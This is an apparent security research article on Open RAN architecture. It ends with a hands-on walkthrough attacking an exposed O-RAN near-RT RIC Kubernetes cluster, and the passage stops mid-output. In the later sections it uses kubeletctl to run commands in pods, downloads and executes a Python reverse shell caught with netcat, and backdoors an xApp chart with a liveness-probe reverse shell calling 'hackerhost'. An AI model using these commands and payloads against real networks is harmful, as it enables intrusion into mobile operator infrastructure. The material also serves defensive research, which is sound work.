Open RAN: Attacks against mobile operators from the outside in practice

Two years ago, communications in the telecommunication industry have sparked significant concern regarding the ease with which Open RAN could potentially be hacked [9][10], prompting a deeper exploration of its security implications for the mobile telecommunications sector and related fields. Open RAN, heralded as a transformative force in telecom infrastructure through its innovative standards and concepts, has not only captured the industry's attention for its ability to shift paradigms but also for the security challenges it may introduce, particularly in areas where integrity, confidentiality, and availability are paramount. Security experts have drawn parallels between the vulnerabilities in Open RAN and those found in cloud infrastructures relying on Docker and Kubernetes, underscoring the importance of scrutinizing OpenRAN's unique risk profile [1]. The discourse is further enriched by analyses that identify new interfaces Open RAN will introduce for interconnecting various network functions [2], highlighting potential attack vectors. Despite the wealth of small existing literature, the abstract nature of these risks has led to the initiation of this article, aiming to elucidate practical attack strategies against current Open RAN implementations and identify emerging threats. Employing the state-of-the-art open-source O-RAN [13] stack as a case study, this series seeks to shed light on the evolving security requirements of Open RAN. An examination of existing products that are "ready for commercial deployment" and compliant with O-RAN standards reveals a complex security landscape, necessitating a comprehensive analysis of risks under typical deployment scenarios [3]. This article sets the stage by introducing Open RAN, its predecessors, and its overarching architecture, followed by a detailed examination of the communication interfaces that could serve as attack vectors, and practical attack we can perform using O-RAN stack.



The Radio Access Network (RAN) serves as the critical conduit connecting user devices, such as mobile phones, to the mobile core network. This connection has been a cornerstone of mobile communication technologies from their inception, mainly starting in public with the GSM network's Global System for Mobile Communications Radio Access Network (GRAN). Over time, RAN has evolved into more advanced forms, including the E-UTRAN (Evolved Universal Terrestrial Radio Access Network) for 4G technologies and the NG-RAN (Next Generation Radio Access Network), laying the groundwork for future advancements. These networks are characterized by the integration of one or more Remote Radio Heads (RRHs) paired with a Baseband Unit (BBU) responsible for signal processing.

Each of these components is linked to the core network via a dedicated backhaul transport network, facilitating seamless communication between mobile devices and the core infrastructure as follows:

Simplified Open RAN architecture (from Nokia)
Simplified OpenRAN architecture (source: Nokia)

The initiative to "open" the Radio Access Network (Open RAN) has been underway for several years, targeting key challenges inherent to traditional RAN implementations within network architectures. These challenges include:

  • inflexibility: which limits the ability of networks to adapt to evolving technologies and user demands;
  • compatibility: issues between equipment from different manufacturers, hindering seamless integration and operation;
  • elevated costs: stemming from a limited competitive landscape that restricts options and drives up prices for network operators.

This project aims to address these issues by fostering a more open, interoperable, and competitive ecosystem, ultimately enhancing the flexibility, scalability, and cost-efficiency of network infrastructures.

Currently, the market is dominated by a few principal vendors:

  • Samsung;
  • Mavenir;
  • Rakuten;
  • Cisco;
  • NEC;
  • Fujitsu;
  • Altiostar;
  • Ericsson;
  • Nokia;
  • as well as ZTE and Huawei, though it's noteworthy that ZTE and Huawei faces restrictions or outright bans in several countries due to security concerns and geopolitical tensions.

Open RAN seeks to lower costs and foster innovation by introducing greater competition into the industry. It achieves this by ensuring that products are interoperable and modular, allowing components from different vendors to work seamlessly together.

The O-RAN architecture is designed to complement and enhance the existing 3GPP standards, representing an evolutionary step forward that integrates openness and intelligence into the radio access network, facilitating more flexible and efficient deployments.


The complexity of protocol stacks increases with the introduction of modern technologies and the evolution of the cellular network to 5G-NR SA currently by using traditional sub-6GHz bands as well as mmWave bands and bands over 100 GHz. Also, the future around 6G strengthening the cellular network accessibility for most IoT (Internet of Things) and IIoT systems are contributing to this complexity as we are used to seeing more heterogeneous systems in this industry. It is known that RAN is seen as a black-box solution that is an all-in-one solution, and the tasks of controlling and configuring the network, optimizing the resources, and using specific profiles were and are still complex for the maintainers.

To maintain these infrastructures, which have become increasingly complex, and to overcome the limitations of the current RAN, researchers in the mobile industry were working on multiple solutions:

  • Centralised/Cloud RAN (C-RAN) was one of the first initiatives by centralizing most of the baseband RAN processing in the virtualized cloud data center by connecting the Radio Units (RU) to high-speed fronthaul interfaces;
  • virtualized RAN (vRAN): RAN functions no longer require proprietary hardware and so do not need a particular server but can be run in virtualized servers instead
  • xRAN Forum introduced then a standardized an opened fronthaul interface for the integration of external controllers in the RAN;
  • Open RAN (O-RAN) is the result of the two initiatives C-RAN and xRAN in 2018, in which deployment is based on disaggregated, but also virtualized and software-based components connected through a standardized interface interoperable across different vendors.

The introduction of modern technologies and the transition of cellular networks to 5G-NR Standalone (SA) have significantly increased the complexity of protocol stacks. This complexity is exacerbated by the utilization of both traditional sub-6GHz bands and newer mmWave bands, as well as frequencies above 100 GHz. Looking ahead, the emergence of 6G aims to further enhance network accessibility for a wide array of Internet of Things (IoT) and Industrial IoT (IIoT) systems, leading to a more diverse and heterogeneous network landscape. Traditionally, Radio Access Networks (RAN) have been perceived as opaque, integrated solutions, where managing network control and configuration, optimizing resources, and applying specific profiles present considerable challenges for network maintainers.

To address the growing complexity and limitations of traditional RAN architectures, researchers and industry professionals have been exploring multiple innovative solutions:

  • Centralised/Cloud RAN (C-RAN): As one of the pioneering efforts, C-RAN centralizes most of the baseband processing in a virtualized cloud data center, linking Radio Units (RU) via high-speed fronthaul interfaces. C-RAN Wikipedia
  • Virtualized RAN (vRAN): This approach decouples RAN functions from proprietary hardware, allowing these functions to be hosted on virtualized servers, thereby reducing the need for specialized equipment.
  • xRAN Forum's Standardized Open Fronthaul Interface: This initiative introduced a standardized open fronthaul interface, facilitating the integration of external controllers into the RAN, thus enhancing flexibility and interoperability. xRAN Forum Document
  • Open RAN (O-RAN): Emerging from the convergence of C-RAN and xRAN initiatives in 2018, O-RAN promotes a disaggregated, virtualized, and software-driven architecture. It leverages standardized interfaces to ensure interoperability among components from different vendors, fostering innovation and flexibility in RAN deployments.

These solutions represent a collective effort to modernize RAN infrastructure, making it more adaptable, cost-effective, and capable of meeting the evolving demands of the telecommunications landscape:

Evolution of RAN
Evolution of RAN. Source: [](

Open RAN seeks to transform RAN architecture by ensuring interoperability among various components and vendors, alongside enabling programmatic optimization through a centralized abstraction layer controller. This approach enhances market competitiveness, drives innovation, and accelerates update and upgrade cycles, while addressing compatibility issues across different vendors. Beyond the management and control of 3GPP-defined Radio Access Networks (RANs), Open RAN also aims to standardize the architecture through the integration of Artificial Intelligence (AI) and Machine Learning (ML) technologies. This strategic inclusion promises to streamline network operations and facilitate more intelligent, efficient network management and optimization.


The O-RAN specifications are designed to embody the principles of open interfaces and software-defined protocol stacks, building upon the foundation of 3GPP LTE and NR (New Radio) RAN standards. Specifically, they expand on the 3GPP NR 7.2 split for base stations, introducing greater flexibility and interoperability within RAN architectures.

As outlined by the O-RAN Alliance, the Open RAN architecture is structured to facilitate a more open, intelligent, and fully interconnected RAN ecosystem.

This architecture integrates advanced technologies and innovative approaches to network design and operation, aiming to enhance efficiency, reduce costs, and improve the adaptability and scalability of mobile networks:

Open RAN architecture
Open RAN architecture. Source: [](

The O-RAN specifications embody the principles of open interfaces and software-defined protocol stacks, building upon the foundation of 3GPP's LTE and NR (New Radio) RANs. They notably extend the 3GPP NR base station's 7.2 split, further detailed in the 3GPP specifications.

The Open RAN architecture, as outlined by the O-RAN Alliance, introduces a modular disaggregation of a gNB (next-generation NodeB) into several components:

  • Central Unit (CU), designated as O-CU, is split into two logical entities that can reside across different networks and hardware platforms:
  • Control Plane (CP);
  • User Plane (UP);
  • Distributed Unit (DU), referred to as O-DU;
  • Radio Unit (RU), known as O-RU.

Additionally, Open RAN defines two types of RAN Intelligent Controllers (RICs) to facilitate smarter network management and optimization:

  • Non-Real Time RIC (Non-RT RIC): part of the Service Management and Orchestration Framework, operates with a response time of over one second.
  • Near-Real-Time RIC (Near-RT RIC) functions within a latency range of 10 milliseconds to 1 second, enabling more responsive network adjustments.

The foundational layer of this architecture is the O-Cloud, which may constitute a straightforward physical server or a more complex cloud-based computing platform. This layer is tasked with virtualizing various network functions and can be distributed across multiple physical nodes.

This modular approach allows each function to be independently developed and provided by different vendors using standard hardware. Such a structure maintains interoperability among the diverse components within the Open RAN ecosystem, promoting flexibility and innovation.

RAN evolution
RAN evolution. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

In the 5G RAN architecture, the Distributed Unit (DU) serves as the baseband processing unit responsible for handling the processing tasks of the Layer 1 (Physical) and Layer 2 (Data Link) layers. Conversely, the Central Unit (CU) represents a novel component within 5G, tasked with managing Layer 3 functions, including connection management and mobility management.

With regard to hardware requirements, both the O-CU (Open Central Unit) and O-DU (Open Distributed Unit) can be virtualized on standard servers that are equipped with hardware acceleration capabilities, enhancing their performance. On the other hand, the Radio Unit (RU) demands more specialized hardware for signal processing tasks and is typically implemented using Field Programmable Gate Arrays (FPGAs), which may also be utilized within Software-Defined Radio (SDR) devices, or Application-Specific Integrated Circuits (ASICs).

The RU is primarily responsible for signal acquisition tasks such as OFDM/OFDMA processing, Fast Fourier Transform (FFT) and Inverse FFT operations, Cyclic Prefix insertion and removal, and precoding for specific categories of RUs. These processed signals are then forwarded to the O-DU for further handling. While it is possible for multiple RUs to connect to a single O-DU, the practicality of this setup depends on the performance capabilities of the O-DU and the quality of the connection between the O-DU and the RUs.

The O-DU oversees the management of the interface with the physical layer and the Medium Access Control (MAC) and Radio Link Control (RLC) layers. Meanwhile, the O-CU is responsible for the higher layers within the 3GPP protocol stack, including the Radio Resource Control (RRC), the Service Data Adaptation Protocol (SDAP) which orchestrates Quality of Service (QoS), and the Packet Data Convergence Protocol (PDCP) for managing air interface packet transmissions.

The introduction of RAN Intelligent Controllers (RICs) marks a significant advancement in RAN orchestration, employing Artificial Intelligence (AI) and Machine Learning (ML) to devise and implement control policies and actions across the RAN. This evolution enables a data-driven, closed-loop control mechanism, optimizing various RAN functionalities and features such as network slicing, load balancing, handovers, and scheduling policies.

The proposed deployment architecture by the O-RAN Alliance looks as follows:

Proposed deployment by the O-RAN Alliance
Proposed deployment by the O-RAN Alliance. Source: [](

The Non-Real-Time (non-RT) RIC, integral to the Service Management Orchestration (SMO) framework, complements the Near-Real-Time (near-RT) RIC by enabling intelligent RAN operations and optimizations over longer time scales (exceeding one second). It plays a pivotal role in guiding, providing enrichment information, and managing Machine Learning (ML) models for the near-RT RIC, thereby indirectly influencing operations across the SMO. Through the O1 interface, it aggregates data in standardized formats from the RAN, utilizing this information to refine traditional RAN functions. Positioned at a higher level within the network architecture, the non-RT RIC has access to extensive RAN data records accumulated over time, allowing it to identify and implement potential optimizations. Moreover, it interfaces with various data sources via the A1 interface to further enhance optimization efforts across:

  • Radio networks;
  • IP networks;
  • Edge cloud infrastructure;
  • etc.

The Near-RT RIC, situated at the network's edge, orchestrates control loops in under a second. It engages directly with the O-DUs and O-CUs within the RAN, as well as O-RAN compliant eNodeBs, interacting with multiple RAN nodes. This component houses numerous applications and services, including custom logic implementations known as xApps, which interact with the RAN components. The near-RT RIC notably enhances the operational efficiency of O-DUs by programmatically adjusting the scheduling behavior and other functionalities, offering real-time optimization capabilities.

O-RAN interfaces

By recalling the previous Open RAN architecture, we can see that different components are connected through several interfaces:

O-RAN architecture
O-RAN architecture. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

Let us introduce these interfaces further.

O-RAN FrontHaul

The O-RAN fronthaul interface, connecting an O-DU (Open Distributed Unit) to one or more O-RUs (Open Radio Units), is designed to be highly sensitive to latency. This interface encompasses four distinct functionalities or planes, which are integral to its operation:

  • U(ser)-Plane, responsible for handling user data;
  • C(ontrol)-Plane, which manages signaling and control information;
  • S(ynchronization)-Plane, tasked with ensuring accurate timing and synchronization across the network;
  • M(anagement)-Plane, dedicated to overseeing the operation, administration, and maintenance of the network components.

These planes collectively facilitate comprehensive communication and management capabilities between the O-DU and O-RU(s), ensuring efficient and synchronized network operations.

O-RAN Fronthault architecture
O-RAN Fronthault architecture. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

While CPRI and eCPRI were initially intended to serve as open interfaces, they were in practice often treated as proprietary or "black box" solutions by various vendors. In response, Work Group 4 (WG 4) of the Open RAN initiative has been tasked with redefining these interfaces to ensure they are fully open and standardized, promoting interoperability and flexibility across different network components.

The Control Plane (C-Plane) is responsible for transmitting commands from the high-PHY layer in the Distributed Unit (DU) to the low-PHY layer in the Radio Unit (RU), encompassing a variety of critical functions:

  • Scheduling and beamforming configurations;
  • Management of New Radio (NR) numerologies across different subframes;
  • Configuration of downlink precoding;
  • Control of spectrum sharing between different technologies.

This includes implementing a Licensed-Assisted Access (LAA) procedure for a "listen-before-talk" protocol in both the RU and DU, as well as facilitating dynamic spectrum-sharing, indicating which Physical Resource Blocks (PRBs) are allocated for shared use between LTE and NR technologies. C-Plane messages are encapsulated within eCPRI or IEEE 1914.3 standard headers and payloads, ensuring standardized communication protocols.

The User Plane (U-Plane) is tasked with the transfer of IQ (In-phase and Quadrature) samples between the O-DU and O-RU, facilitating the actual data transmission within the network.

The Synchronization Plane (S-Plane) ensures precise synchronization of time, frequency, and phase across the network, aligning the clocks of RUs and DUs with a shared clock reference to maintain coherence and reduce timing errors.

Finally, the Management Plane (M-Plane) handles the initialization, management, and configuration of connections between the RU and DU, employing the O1 interface for the configuration of the RU. This plane plays a crucial role in setting up and maintaining the network infrastructure, ensuring efficient and reliable communication between network elements.

Across the 4 different planes, we can encounter different data types (IQ data; timing and sync data; and command and control information):

Lower layer Fronthault flows
Lower layer Fronthault flows. Source:

There are diverse ways to split the RU, but O-RAN uses the concept of split-RAN that defines 8 different options:

O-RAN splits
O-RAN splits. Source:

O-RAN introduces a specific architectural concept known as the PHY Layer Split 7.2x, which delineates the distribution of functional modules between Low-PHY and High-PHY layers. This split is designed to optimize the processing workload between the Radio Unit (RU) and the Distributed Unit (O-DU) by allocating certain tasks to the most suitable component, particularly to enhance efficiency and performance in both uplink and downlink transmissions.

For the Uplink (UL), the RU handles several critical processing tasks including:

  • Cyclic Prefix (CP) removal, which eliminates the CP added for OFDM signal protection against multipath interference;
  • Fast Fourier Transform (FFT), converting the time-domain signal into the frequency domain for easier processing;
  • Digital beamforming (if applicable), a technique used to direct the transmission or reception of signals in specific directions;
  • Prefiltering, specifically for the Physical Random-Access Channel (PRACH), which is used for initial access attempts by devices.

For the Downlink (DL), the processing roles assigned to the RU include:

  • Inverse FFT (iFFT), transforming frequency-domain signals back into the time domain;
  • CP addition, attaching a cyclic prefix to the OFDM signal to mitigate the effects of multipath interference;
  • Precoding functions, adjusting the amplitude and phase of the signals to maximize signal quality at the receiver end;
  • Digital beamforming, similar to uplink, focusing the signal's transmission direction to enhance communication quality.

The remaining processing tasks are performed by the O-DU. This split approach allows for a more efficient distribution of processing responsibilities, leveraging the strengths of each unit to improve overall network performance and flexibility.

O-RAN Phy Split 7.2x
O-RAN Phy Split 7.2x.

A1 Interface

This interface connects the SMO and the near-RT RIC to deploy policy-based guidance, ML models, and enrichment information.

A1 Interface
A1 Interface. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

The Near-Real-Time RIC utilizes the information provided to configure the E2 nodes through the E2 interface, ensuring efficient and optimized network operations.

To safeguard the integrity, authenticity, and confidentiality of communications, the implementation of TLS (Transport Layer Security) encryption is optional. While no User Plane data is transmitted over the A1 interface, the potential compromise by external threats could still adversely impact the quality of service. Thus, securing these communications is crucial to maintaining network performance and reliability.

O1 Interface

This interface sets up a crucial connection between the Near-Real-Time RIC, RAN nodes, the Service Management and Orchestration (SMO) framework, and the Non-Real-Time RIC, primarily facilitating operations and maintenance tasks. It underpins Management Services (MnS), enabling the SMO to implement heartbeat messages. These messages are essential for monitoring the availability of services and nodes and for managing both Virtual and Physical Network Functions (V/PNFs).

Additionally, the interface supports various functions that contribute to the SMO's capabilities in data analytics and the collection of performance metrics for AI/ML applications. It also enables the execution of bulk transfers for software updates or configuration changes. This process typically initiates with a notification from the MnS provider and culminates in an SFTP (Secure File Transfer Protocol) transfer, ensuring secure and efficient updates and modifications.

01 Interface
01 Interface. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

O2 Interface

This interface serves as the link between the Service Management and Orchestration (SMO) framework and cloud infrastructure, facilitating the management of the Core network components.

It is specifically designed to interact with Network Functions Virtualization (NFV), Open Network Automation Platform (ONAP), or Open Source MANO (OSM) systems, streamlining the orchestration and operation of virtualized network functions within the core network.

E2 interface

The E2 interface facilitates communication between the Near-Real-Time RIC and the E2 nodes through two main protocols:

  • E2 Application Protocol (E2 AP);
  • E2 Service Model (E2 SM).

The E2 Application Protocol defines the communication mechanisms between the near-RT RIC and E2 nodes, offering a suite of services to manage and optimize RAN operations:

  • Report: This service involves the E2 node sending E2 RIC Indication messages, which contain telemetry data from the E2 node to the near-RT RIC, activated through subscriptions from xApps.
  • Insert: Notifies an xApp of specific events occurring within the E2 node, such as User Equipment (UE) signaling for a handover.
  • Control: Allows the near-RT RIC to adjust parameters within the RAN functions exposed by the E2 node, influencing its operations.
  • Policy: Enables the application of predefined policies that an E2 node follows to execute Radio Resource Management (RRM) effectively.

Together, these protocols and services provide a comprehensive framework for dynamic and efficient RAN management, leveraging the capabilities of the near-RT RIC to enhance network performance and reliability.

On a lower level, E2 handles interface management:

E2 Interface
E2 Interface. Source: Understanding O-RAN: Architecture, Interfaces, Algorithms, Security, and Research Challenges by Michele Polese, Leonardo Bonati, Salvatore D’Oro, Stefano Basagni, Tommaso Melodia

The following example shows an E2 setup procedure and E2SM KPM:

E2 setup procedure
E2 setup procedure. Source: core net.

A new core, a new RAN, so new entry points

Attacks on the 5G SA core network

Previous research shows that new 5G core network architectures change entirely by replacing the different hosts with functions that can be queried using API REST request:

SBA architecture of a 5GC
SBA architecture of a 5GC (source: [[5](#ref5)])

Recent advancements in network architecture necessitate the implementation of enhanced security measures, particularly to address issues with GTP-C and GTP-U packet encapsulation [7] and to replace outdated SCTP interfaces within the core network with more secure REST API interfaces.

However, these modifications also pivot the nature of potential attacks towards web-based vulnerabilities, introducing risks more characteristic of the web ecosystem, such as serialization flaws, web server exploits, and interpreter vulnerabilities. This shift suggests that future cybersecurity efforts need to be increasingly focused on mitigating web-related threats.

Evidence from various 5G security hackathons, we have also participated and won with respective team [6], has practically demonstrated the dangers posed by inadequately isolated assets and poorly configured Network Repository Function (NRF) accesses, which can empower attackers to gain comprehensive control over targeted core networks. In response, specialized tools, including one of our Burp Suite plugins, have been developed to address these specific vulnerabilities [8].

While the exposure of the User Plane Function (UPF) and GTP nodes presents significant risks if not properly safeguarded, the introduction of Open RAN architecture broadens the spectrum of potential attack vectors. This expanded attack surface underscores the need for robust and adaptive security measures to protect against an evolving landscape of threats.

Open RAN main attack vectors

As indicated earlier, Open RAN employs NG-C and NG-U interfaces for communication with the core network. While these specific interfaces might not be directly exposed to potential attackers on the Open RAN side, other interfaces within the architecture could be vulnerable to external threats.

Indeed, we should also remember that all the parts of the Open RAN infrastructure can be disaggregated following different scenarios as follows:

Open RAN infrastructure disaggregated
Open RAN infrastructure can be disaggregated. Source: Leonardo Bonati, Michele Polese, Salvatore D’Oro, Stefano Basagni, and Tommaso Melodia. “Open, programmable, and virtualized 5G networks: State-of-the-art and the road ahead”. In: Computer Networks 182 (2020), p. 107516.

In Open RAN, the architectural disaggregation involves utilizing a Virtual Machine for each Near-RT RIC and Non-RT RIC, within which containers are hosted and run inside Kubernetes pods. This setup underscores the shift towards a more modular and flexible network infrastructure.

However, leveraging cloud technology introduces potential security vulnerabilities, particularly if the Open RAN components are not adequately isolated or if services are inadvertently exposed to public networks. Such exposures could provide attackers with unintended access to the network infrastructure.

At MCH2022, Karsten Nohl highlighted new risks associated with Open RAN architectures [1], although the specifics regarding external entry points remained somewhat ambiguous. This area presents an intriguing subject for further investigation, particularly in understanding how Kubernetes and the Open RAN framework might inadvertently expose interfaces to potential attackers, especially in the context of deploying applications within the Near-RT RIC environment. Exploring these vulnerabilities is crucial for strengthening the security posture of Open RAN networks.

To illustrate potential vectors of attacks from the outside, we will simulate the following architecture:

Open RAN setup simulating clusters exposed to the public
Open RAN setup simulating clusters exposed to the public

Kubernetes interfaces

To identify potential Kubernetes interfaces, we can use scanners like Kube-hunter, which gives an excellent overview of the exposed interfaces by hosts:

$ python3
Choose one of the options below:
1. Remote scanning      (scans one or more specific IPs or DNS names)
2. Interface scanning   (scans subnets on all local network interfaces)
3. IP range scanning    (scans a given IP range)
Your choice: 3
CIDR separated by a ',' (example -,!,!
2022-10-11 13:33:34,153 INFO Started hunting
2022-10-11 13:33:34,154 INFO Discovering Open Kubernetes Services
2022-10-11 13:33:34,259 INFO Found open service "Etcd" at
2022-10-11 13:33:34,266 INFO Found open service "Kubelet API" at
2022-10-11 13:33:34,291 INFO Found open service "API Server" at
2022-10-11 13:33:34,304 INFO Found vulnerability "K8s Version Disclosure" in

This allows us to discover interesting nodes and services directly:

| TYPE        | LOCATION   |
| Node/Master | |

Detected Services
| SERVICE     | LOCATION         | DESCRIPTION          |
| Kubelet API | | The Kubelet is the   |
|             |                  | main component in    |
|             |                  | every Node, all pod  |
|             |                  | operations goes      |
|             |                  | through the kubelet  |
| Etcd        |  | Etcd is a DB that    |
|             |                  | stores cluster's     |
|             |                  | data, it contains    |
|             |                  | configuration and    |
|             |                  | current              |
|             |                  |     state            |
|             |                  | information, and     |
|             |                  | might contain        |
|             |                  | secrets              |
| API Server  |  | The API server is in |
|             |                  | charge of all        |
|             |                  | operations on the    |
|             |                  | cluster.             |

This approach also highlights vulnerabilities, such as the exposure of interfaces without proper authentication mechanisms in place, thus signaling potential security risks:

highlighted vulnerability with kube-hunter
highlighted vulnerability with kube-hunter

To gain insights into the interface's details, we can query specific endpoints. For instance, querying the version of the Kubernetes API server:

$ curl -k -X GET 
  "major": "1",
  "minor": "16",
  "gitVersion": "v1.16.0",
  "gitCommit": "2bd9643cee5b3b3a5ecbd3af49d09018f0773c77",
  "gitTreeState": "clean",
  "buildDate": "2019-09-18T14:27:17Z",
  "goVersion": "go1.12.9",
  "compiler": "gc",
  "platform": "linux/amd64"

This command returns comprehensive version information about the API server, including the major and minor versions, git commit hash, build date, and more.

Additionally, we can check the health status of the API server:

$ curl -k -X GET 

This command verifies that the API server is operational with an OK response.

However, in the context of Open RAN, access to more sensitive endpoints is typically restricted. For instance, attempting to list the pods without proper authentication yields an unauthorized error:

$ curl -k -X GET
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401

This response indicates that the endpoint is secured and requires appropriate credentials to access the requested information, underscoring the importance of authentication in protecting sensitive operations within the Open RAN architecture.


On the Kubelet interface, it's evident that information regarding the pods in use cannot be accessed by unauthenticated users:

$ curl -k -X GET 

This indicates that, by default, authentication is required to access this information.

However, if the anonymous access mode is enabled ("true") and the authentication policy is set to "AlwaysAllow," sensitive cluster information could potentially be exposed.

This may include details such as pod names, the locations of internal files, and various other critical data points, underscoring the importance of secure configuration settings to prevent unauthorized access and data leakage:

Case of a misconfigured Kubelet
Case of a misconfigured Kubelet

Caution: as mentioned before, this exposition is unlikely to happen if this service is not intentionally exposed by default.

While protection against unauthenticated access is crucial, it's equally important to scrutinize the privileges granted to authenticated users across different namespaces. Specifically, if a standard user has the ability to read secrets from all namespaces or make arbitrary web requests, there exists a significant risk of sensitive information being compromised.

Moreover, the concerns extend beyond mere data access. Should an unauthorized user gain full access to this interface, they might also have the capability to execute arbitrary commands on the pods, presenting a severe security risk as demonstrated below:

Kube-hunter discovering a misconfigured Kubelet
Kube-hunter discovering a misconfigured Kubelet

Using the kubeletctl tool, we can attempt to compromise all pods, particularly those with elevated privileges:

[*] Running command on all pods
1. Pod: kube-controller-manager-openric
   Namespace: kube-system
   Container: kube-controller-manager
container not found ("kube-controller-manager")
10. Pod: deployment-ricplt-alarmmanager-56d79dc55-6ghfs
    Namespace: ricplt
    Container: container-ricplt-alarmmanager
28. Pod: r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s
    Namespace: ricplt
    Container: prometheus-alertmanager-configmap-reload
[*] Running command on all pods
1. Pod: kube-controller-manager-openric
   Namespace: kube-system
   Container: kube-controller-manager
container not found ("kube-controller-manager")
10. Pod: deployment-ricplt-alarmmanager-56d79dc55-6ghfs
    Namespace: ricplt
    Container: container-ricplt-alarmmanager
28. Pod: r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s
    Namespace: ricplt
    Container: prometheus-alertmanager-configmap-reload

This approach enables us to compromise containers, potentially leveraging kernel vulnerabilities or exploiting aspects such as cgroup or hostPID to navigate and escalate privileges.

Exploitation of compromised containers from kubelet

In a scenario where we have the ability to execute arbitrary commands due to anonymous access to the Kubelet API or leaked secrets from an application allowing us to interact with a container, we can inject commands to establish a reverse shell environment.

To begin, we'll create a simple online reverse shell and save it to a file, assuming the target has the curl and python3 binaries installed:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

And upload it to the container we can compromize:

$ ./kubeletctl_linux_amd64 run "curl --output" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   189  100   189    0     0  94500      0 --:--:-- --:--:-- --:--:--  184k

Next, let's grant full permissions to this file:

└─$ ./kubeletctl_linux_amd64 run "chmod 777" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s

Then, execute the file within the container:

└─$ ./kubeletctl_linux_amd64 run "python3" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s

On our side, we handle the incoming connection using netcat:

$ nc -l -p 6666
# ls
config            e2   rmr_probe
dockerRouter.txt  log  router.txt

Optionally, we can upgrade to a fully interactive TTY shell directly with Python:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Once we have a shell, we can explore further, and attempt to escape the Docker container.

However, let's explore another intriguing interface we may interact with before that.

Etcd interface

The etcd stores critical cluster secrets, configuration files, and other sensitive data.

To test this access, we can attempt to contact this interface using the etcdctl tool and check if we can retrieve secrets anonymously:

$ etcdctl -endpoints= get / -prefix -keys-only
Error:  client: etcd cluster is unavailable or misconfigured; error #0: EOF

error #0: EOF

As observed, this interface is also well-configured by default in the Open RAN framework.

xApp Manager of Helm

A xApp, or cross-application, is a micro-service used for various purposes, including radio resources management and other functionalities. It comprises a container running an application, which will be further elaborated in this documentation.

xApp flows
xApp flows. Source:

If the Appmanager is exposed to a public interface and configured by default, attackers could potentially onboard any application they desire within the Open RAN infrastructure. However, it's important to note that while this may grant access for onboarding, it does not necessarily mean that the attacker can deploy it. Nonetheless, there remains a risk of future versions of a xApp being compromised or backdoored.

Backdooring the Chart

To begin, the Appmanager interface can be spotted by identifying a ChartMuseum exposed by an arbitrary TCP port. Following the example, we can find this interface on TCP port 8090:

# nmap -A  
8090/tcp open  opsmessaging?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html
|     X-Request-Id: cf122339-6f7f-4196-aa83-a1ab09da314a
|     Date: Wed, 12 Oct 2022 09:20:43 GMT
|     Content-Length: 547
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Welcome to ChartMuseum!</title>

Open RAN provides a command-line tool dms_cli for onboarding new xApp applications, which can be used with remote servers. To test the tool remotely, we can check the status of the service as follows:

$ dms_cli health                                                           

If the response is positive, then we can proceed by developing a small Proof of Concept (PoC) for a backdoor that will provide a remote shell on the server.

To do that, we can directly take one of the "Hello World!" (ric-app-hw) xApp examples available for some languages:

  • Python:
  • Rust:
  • Go:
  • C++:

For convenience, we can clone the Python repository and change a few things in init/config-file.json:

$ cat config-file.json
    "name": "hw-python",
    "version": "1.0.1",
    "containers": [
            "name": "hw-python",
            "image": {
                "registry": "attackerregistry.tld:10004",
                "name": "ric-app-hw-python",
                "tag": "1.0.1"

Then, we can modify the main scripts or a Handler in the tree to implement the PoC. For instance, we can use the and add the payload to as an example:

├── handler
│   ├──
│   ├──
│   ├──
│   ├──
│   └──

By modifying the script, we can trigger a reverse-shell after triggering the health check action:

import json
from ricxappframe.xapp_frame import RMRXapp
from ..utils.constants import Constants
from ._BaseHandler import _BaseHandler
import socket,os,pty
import threading

class HealthCheckHandler(_BaseHandler):

    def __init__(self, rmr_xapp: RMRXapp, msgtype):
        super().__init__(rmr_xapp, msgtype)

    def request_handler(self, rmr_xapp, summary, sbuf):

Alternatively, we can reduce the amount of work by using liveness probes inside the previous config-file.json. This allows us to execute commands as well:

"livenessProbe": {
"exec": {
"command": ["python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("hackerhost",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'"]
"initialDelaySeconds": "5",
"periodSeconds": "15"

Once it is done, we can onboard the application using dms_cli as follows:

$ dms_cli onboard --config_file_path=config-file.json --shcema_file_path=schema.json
    "status": "Created"

In case of a success, we can list onboarded xApps remotely like so:

$ curl -X GET | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
